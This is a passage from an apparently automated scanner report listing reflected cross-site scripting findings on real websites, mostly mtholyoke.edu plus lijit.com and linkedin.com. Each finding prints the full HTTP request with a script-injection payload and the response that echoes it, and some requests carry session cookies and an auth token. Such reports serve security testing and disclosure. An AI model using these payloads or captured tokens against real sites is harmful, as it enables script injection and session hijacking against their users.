Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:25:28 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460328"
Content-Type: text/html; charset=utf-8
Content-Length: 57542
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:26:03 GMT
X-Varnish: 1038160489
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/themes/itworld/js/node.jsea034"><script>alert(1)</script>0da983b136a?h"/>
...[SNIP]...

1.520. http://www.lijit.com/delivery/fp [n parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.lijit.com
Path:	/delivery/fp

Issue detail

The value of the n request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e0ee7"%3balert(1)//7b6aeba86dc was submitted in the n parameter. This input was echoed as e0ee7";alert(1)//7b6aeba86dc in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /delivery/fp?u=idgtechads&ljt_admeld=1035721&z=124175&n=1e0ee7"%3balert(1)//7b6aeba86dc HTTP/1.1
Host: www.lijit.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.ilovefreesoftware.com/
Cookie: ljtrtb=eJyrVjJSslIyMbY0NTJxdLV0NTQ0NjdxdTJyNnA2NzQ3MXA2MzBRqgUAowAIew%3D%3D; ljt_reader=1860442d61f8e1f2d8924f58549ca25b; _OACAP[4578]=1; _OABLOCK[4578]=1314593701; _OACCAP[593]=1; _OACBLOCK[593]=1314593701

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 19:25:00 GMT
Server: PWS/1.7.3.3
X-Px: ms lax-agg-n14 ( lax-agg-n46), ms lax-agg-n46 ( origin>CONN)
Cache-Control: max-age=7200
Expires: Mon, 19 Sep 2011 21:25:00 GMT
Age: 0
Content-Length: 17556
Content-Type: text/javascript
Vary: Accept-Encoding
Connection: keep-alive

function LjtAds_ReportError(errorMsg, except){
   try{
       errorMsg = "[Ads JS] "+ errorMsg
       try{
           errorMsg += " - "+ except.message
       } catch(e){}
       errorMsg = encodeURIComponent(errorMsg);

       var s
...[SNIP]...
ime String', e);
       return "00:00:00";
   }
}

try{
   // Settings: Change these values on a per user basis
   var lwp_ad_username = "idgtechads";
   var lwp_ad_zoneid = ljt_getZoneID();
   var lwp_ad_numads = "1e0ee7";alert(1)//7b6aeba86dc";
   var lwp_ad_premium = "1";// or 0 for non-premium ad
   var lwp_ad_eleid = "lijit_region_124175";
   var lwp_method = "regex";
   var lwp_referring_search = getReferringSearch(document.referrer);

   var l
...[SNIP]...

1.521. http://www.linkedin.com/countserv/count/share [url parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.linkedin.com
Path:	/countserv/count/share

Issue detail

The value of the url request parameter is copied into the HTML document as plain text between tags. The payload 2c3da<img%20src%3da%20onerror%3dalert(1)>1b1451f0e8c was submitted in the url parameter. This input was echoed as 2c3da<img src=a onerror=alert(1)>1b1451f0e8c in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /countserv/count/share?url=http%3A%2F%2Fwww.cio.com%2Farticle%2F689930%2F15_Add_Ons_to_Become_a_Gmail_Power_User2c3da<img%20src%3da%20onerror%3dalert(1)>1b1451f0e8c HTTP/1.1
Host: www.linkedin.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.cio.com/article/689930/15_Add_Ons_to_Become_a_Gmail_Power_User
Cookie: visit=G; bcookie="v=1&e6907e29-3b50-4659-95ed-c5124b8e731f"; leo_auth_token="GST:8sCtg8r7ApkelgW_QwMaHl5fIwTRx_-EBcrO_F59zy0jZctEAwQzSo:1316460766:521aef4251c78cab41577b386107e7ae8e74bdbf"; JSESSIONID="ajax:0156084153615076855"; lang="v=2&lang=en&c="; X-LI-IDC=C1; NSC_MC_QH_MFP=ffffffffaf19965245525d5f4f58455e445a4a42198c; NSC_MC_WT_FU_IUUQ=ffffffffaf1994c845525d5f4f58455e445a4a42198d

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: text/javascript;charset=UTF-8
Vary: Accept-Encoding
Date: Mon, 19 Sep 2011 19:32:59 GMT
Content-Length: 170

IN.Tags.Share.handleCount({"count":0,"url":"http:\/\/www.cio.com\/article\/689930\/15_Add_Ons_to_Become_a_Gmail_Power_User2c3da<img src=a onerror=alert(1)>1b1451f0e8c"});

1.522. http://www.mtholyoke.edu/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.mtholyoke.edu
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload cc950<script>alert(1)</script>001c61adeef was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /favicon.icocc950<script>alert(1)</script>001c61adeef HTTP/1.1
Host: www.mtholyoke.edu
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utma=107387742.1737426368.1316468600.1316468600.1316468600.1; __utmb=107387742.3.10.1316468600; __utmc=107387742; __utmz=107387742.1316468600.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 16:43:08 GMT
Server: Apache/2.2.3 (Red Hat)
Connection: close
Last-Modified: Mon, 19 Sep 2011 16:43:08 GMT
Content-Length: 5858
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/1999/REC-html401-19991224/loose.dtd">
<html>
<head><title>Error</title><style type="text/css">
<!--
.nound { text-d
...[SNIP]...
<code>http://www.mtholyoke.edu/favicon.icocc950<script>alert(1)</script>001c61adeef</code>
...[SNIP]...

1.523. http://www.mtholyoke.edu/homepage_slideshow/home_slideshow.swf [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.mtholyoke.edu
Path:	/homepage_slideshow/home_slideshow.swf

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 808ef<script>alert(1)</script>79185c3b56c was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /homepage_slideshow808ef<script>alert(1)</script>79185c3b56c/home_slideshow.swf HTTP/1.1
Host: www.mtholyoke.edu
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: */*
Referer: http://www.mtholyoke.edu/index.html
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utma=107387742.1737426368.1316468600.1316468600.1316468600.1; __utmb=107387742.1.10.1316468600; __utmc=107387742; __utmz=107387742.1316468600.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 16:42:56 GMT
Server: Apache/2.2.3 (Red Hat)
Connection: close
Last-Modified: Mon, 19 Sep 2011 16:42:57 GMT
Content-Length: 6565
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/1999/REC-html401-19991224/loose.dtd">
<html>
<head><title>Error</title><style type="text/css">
<!--
.nound { text-d
...[SNIP]...
<code>http://www.mtholyoke.edu/homepage_slideshow808ef<script>alert(1)</script>79185c3b56c/home_slideshow.swf</code>
...[SNIP]...

1.524. http://www.mtholyoke.edu/homepage_slideshow/home_slideshow.swf [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.mtholyoke.edu
Path:	/homepage_slideshow/home_slideshow.swf

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload f5788<script>alert(1)</script>bdd99501441 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /homepage_slideshow/home_slideshow.swff5788<script>alert(1)</script>bdd99501441 HTTP/1.1
Host: www.mtholyoke.edu
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: */*
Referer: http://www.mtholyoke.edu/index.html
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utma=107387742.1737426368.1316468600.1316468600.1316468600.1; __utmb=107387742.1.10.1316468600; __utmc=107387742; __utmz=107387742.1316468600.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 16:42:57 GMT
Server: Apache/2.2.3 (Red Hat)
Connection: close
Last-Modified: Mon, 19 Sep 2011 16:42:58 GMT
Content-Length: 6565
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/1999/REC-html401-19991224/loose.dtd">
<html>
<head><title>Error</title><style type="text/css">
<!--
.nound { text-d
...[SNIP]...
<code>http://www.mtholyoke.edu/homepage_slideshow/home_slideshow.swff5788<script>alert(1)</script>bdd99501441</code>
...[SNIP]...

1.525. http://www.mtholyoke.edu/index.html [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.mtholyoke.edu
Path:	/index.html

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload ff796<script>alert(1)</script>9f59367c172 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index.htmlff796<script>alert(1)</script>9f59367c172 HTTP/1.1
Host: www.mtholyoke.edu
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 16:42:34 GMT
Server: Apache/2.2.3 (Red Hat)
Connection: close
Last-Modified: Mon, 19 Sep 2011 16:42:34 GMT
Content-Length: 5857
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/1999/REC-html401-19991224/loose.dtd">
<html>
<head><title>Error</title><style type="text/css">
<!--
.nound { text-d
...[SNIP]...
<code>http://www.mtholyoke.edu/index.htmlff796<script>alert(1)</script>9f59367c172</code>
...[SNIP]...

1.526. http://www.mtholyoke.edu/lits/7727.shtml [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.mtholyoke.edu
Path:	/lits/7727.shtml

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload f87b9<script>alert(1)</script>41d5dfc2fac was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /litsf87b9<script>alert(1)</script>41d5dfc2fac/7727.shtml HTTP/1.1
Host: www.mtholyoke.edu
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 16:42:38 GMT
Server: Apache/2.2.3 (Red Hat)
Connection: close
Last-Modified: Mon, 19 Sep 2011 16:42:38 GMT
Content-Length: 5862
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/1999/REC-html401-19991224/loose.dtd">
<html>
<head><title>Error</title><style type="text/css">
<!--
.nound { text-d
...[SNIP]...
<code>http://www.mtholyoke.edu/litsf87b9<script>alert(1)</script>41d5dfc2fac/7727.shtml</code>
...[SNIP]...

1.527. http://www.mtholyoke.edu/lits/7727.shtml [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.mtholyoke.edu
Path:	/lits/7727.shtml

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 2560b<script>alert(1)</script>855a4c92fec was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /lits/7727.shtml2560b<script>alert(1)</script>855a4c92fec HTTP/1.1
Host: www.mtholyoke.edu
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 16:42:39 GMT
Server: Apache/2.2.3 (Red Hat)
Connection: close
Last-Modified: Mon, 19 Sep 2011 16:42:39 GMT
Content-Length: 5862
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/1999/REC-html401-19991224/loose.dtd">
<html>
<head><title>Error</title><style type="text/css">
<!--
.nound { text-d
...[SNIP]...
<code>http://www.mtholyoke.edu/lits/7727.shtml2560b<script>alert(1)</script>855a4c92fec</code>
...[SNIP]...

1.528. http://www.mtholyoke.edu/lits/learn/resources_faculty.html [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.mtholyoke.edu
Path:	/lits/learn/resources_faculty.html

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 2373d<script>alert(1)</script>f1b1b405858 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /lits2373d<script>alert(1)</script>f1b1b405858/learn/resources_faculty.html HTTP/1.1
Host: www.mtholyoke.edu
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utma=107387742.1737426368.1316468600.1316468600.1316468600.1; __utmb=107387742.1.10.1316468600; __utmc=107387742; __utmz=107387742.1316468600.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 16:42:43 GMT
Server: Apache/2.2.3 (Red Hat)
Connection: close
Last-Modified: Mon, 19 Sep 2011 16:42:43 GMT
Content-Length: 5880
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/1999/REC-html401-19991224/loose.dtd">
<html>
<head><title>Error</title><style type="text/css">
<!--
.nound { text-d
...[SNIP]...
<code>http://www.mtholyoke.edu/lits2373d<script>alert(1)</script>f1b1b405858/learn/resources_faculty.html</code>
...[SNIP]...

1.529. http://www.mtholyoke.edu/lits/learn/resources_faculty.html [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.mtholyoke.edu
Path:	/lits/learn/resources_faculty.html

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 53dce<script>alert(1)</script>93b0ff9bfdd was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /lits/learn53dce<script>alert(1)</script>93b0ff9bfdd/resources_faculty.html HTTP/1.1
Host: www.mtholyoke.edu
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utma=107387742.1737426368.1316468600.1316468600.1316468600.1; __utmb=107387742.1.10.1316468600; __utmc=107387742; __utmz=107387742.1316468600.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 16:42:44 GMT
Server: Apache/2.2.3 (Red Hat)
Connection: close
Last-Modified: Mon, 19 Sep 2011 16:42:45 GMT
Content-Length: 5880
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/1999/REC-html401-19991224/loose.dtd">
<html>
<head><title>Error</title><style type="text/css">
<!--
.nound { text-d
...[SNIP]...
<code>http://www.mtholyoke.edu/lits/learn53dce<script>alert(1)</script>93b0ff9bfdd/resources_faculty.html</code>
...[SNIP]...

1.530. http://www.mtholyoke.edu/lits/learn/resources_faculty.html [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.mtholyoke.edu
Path:	/lits/learn/resources_faculty.html

Issue detail

The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload fc1f8<script>alert(1)</script>a83c83ef23b was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /lits/learn/resources_faculty.htmlfc1f8<script>alert(1)</script>a83c83ef23b HTTP/1.1
Host: www.mtholyoke.edu
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utma=107387742.1737426368.1316468600.1316468600.1316468600.1; __utmb=107387742.1.10.1316468600; __utmc=107387742; __utmz=107387742.1316468600.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 16:42:45 GMT
Server: Apache/2.2.3 (Red Hat)
Connection: close
Last-Modified: Mon, 19 Sep 2011 16:42:46 GMT
Content-Length: 5891
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/1999/REC-html401-19991224/loose.dtd">
<html>
<head><title>Error</title><style type="text/css">
<!--
.nound { text-d
...[SNIP]...
<code>http://www.mtholyoke.edu/lits/learn/resources_faculty.htmlfc1f8<script>alert(1)</script>a83c83ef23b</code>
...[SNIP]...

1.531. http://www.mtholyoke.edu/lits/network/ [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.mtholyoke.edu
Path:	/lits/network/

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 81e80<script>alert(1)</script>9a28ff1f497 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /lits81e80<script>alert(1)</script>9a28ff1f497/network/ HTTP/1.1
Host: www.mtholyoke.edu
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utma=107387742.1737426368.1316468600.1316468600.1316468600.1; __utmb=107387742.1.10.1316468600; __utmc=107387742; __utmz=107387742.1316468600.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 16:42:44 GMT
Server: Apache/2.2.3 (Red Hat)
Connection: close
Last-Modified: Mon, 19 Sep 2011 16:42:44 GMT
Content-Length: 5860
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/1999/REC-html401-19991224/loose.dtd">
<html>
<head><title>Error</title><style type="text/css">
<!--
.nound { text-d
...[SNIP]...
<code>http://www.mtholyoke.edu/lits81e80<script>alert(1)</script>9a28ff1f497/network/</code>
...[SNIP]...

1.532. http://www.mtholyoke.edu/lits/network/ [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.mtholyoke.edu
Path:	/lits/network/

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 2db3c<script>alert(1)</script>f02040761ee was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /lits/network2db3c<script>alert(1)</script>f02040761ee/ HTTP/1.1
Host: www.mtholyoke.edu
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utma=107387742.1737426368.1316468600.1316468600.1316468600.1; __utmb=107387742.1.10.1316468600; __utmc=107387742; __utmz=107387742.1316468600.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 16:42:45 GMT
Server: Apache/2.2.3 (Red Hat)
Connection: close
Last-Modified: Mon, 19 Sep 2011 16:42:45 GMT
Content-Length: 5860
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/1999/REC-html401-19991224/loose.dtd">
<html>
<head><title>Error</title><style type="text/css">
<!--
.nound { text-d
...[SNIP]...
<code>http://www.mtholyoke.edu/lits/network2db3c<script>alert(1)</script>f02040761ee/</code>
...[SNIP]...

1.533. http://www.mtholyoke.edu/news/image_assets/0001/8200/TaliTh_thumb.jpg [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.mtholyoke.edu
Path:	/news/image_assets/0001/8200/TaliTh_thumb.jpg

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload eafbf<script>alert(1)</script>bbbea6bf8fe was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /newseafbf<script>alert(1)</script>bbbea6bf8fe/image_assets/0001/8200/TaliTh_thumb.jpg?1314726776 HTTP/1.1
Host: www.mtholyoke.edu
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: */*
Referer: http://www.mtholyoke.edu/index.html
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 16:43:10 GMT
Server: Apache/2.2.3 (Red Hat)
Connection: close
Last-Modified: Mon, 19 Sep 2011 16:43:10 GMT
Content-Length: 6572
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/1999/REC-html401-19991224/loose.dtd">
<html>
<head><title>Error</title><style type="text/css">
<!--
.nound { text-d
...[SNIP]...
<code>http://www.mtholyoke.edu/newseafbf<script>alert(1)</script>bbbea6bf8fe/image_assets/0001/8200/TaliTh_thumb.jpg</code>
...[SNIP]...

1.534. http://www.mtholyoke.edu/news/image_assets/0001/8212/suzan-lori_thumb_thumb.jpg [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.mtholyoke.edu
Path:	/news/image_assets/0001/8212/suzan-lori_thumb_thumb.jpg

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload ba0af<script>alert(1)</script>ede9f099f76 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /newsba0af<script>alert(1)</script>ede9f099f76/image_assets/0001/8212/suzan-lori_thumb_thumb.jpg?1314976761 HTTP/1.1
Host: www.mtholyoke.edu
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: */*
Referer: http://www.mtholyoke.edu/index.html
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 16:42:59 GMT
Server: Apache/2.2.3 (Red Hat)
Connection: close
Last-Modified: Mon, 19 Sep 2011 16:43:00 GMT
Content-Length: 6582
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/1999/REC-html401-19991224/loose.dtd">
<html>
<head><title>Error</title><style type="text/css">
<!--
.nound { text-d
...[SNIP]...
<code>http://www.mtholyoke.edu/newsba0af<script>alert(1)</script>ede9f099f76/image_assets/0001/8212/suzan-lori_thumb_thumb.jpg</code>
...[SNIP]...

1.535. http://www.mtholyoke.edu/news/image_assets/0001/8224/sanborn75_thumb.jpg [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.mtholyoke.edu
Path:	/news/image_assets/0001/8224/sanborn75_thumb.jpg

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 219f9<script>alert(1)</script>36961e58a41 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /news219f9<script>alert(1)</script>36961e58a41/image_assets/0001/8224/sanborn75_thumb.jpg?1314977134 HTTP/1.1
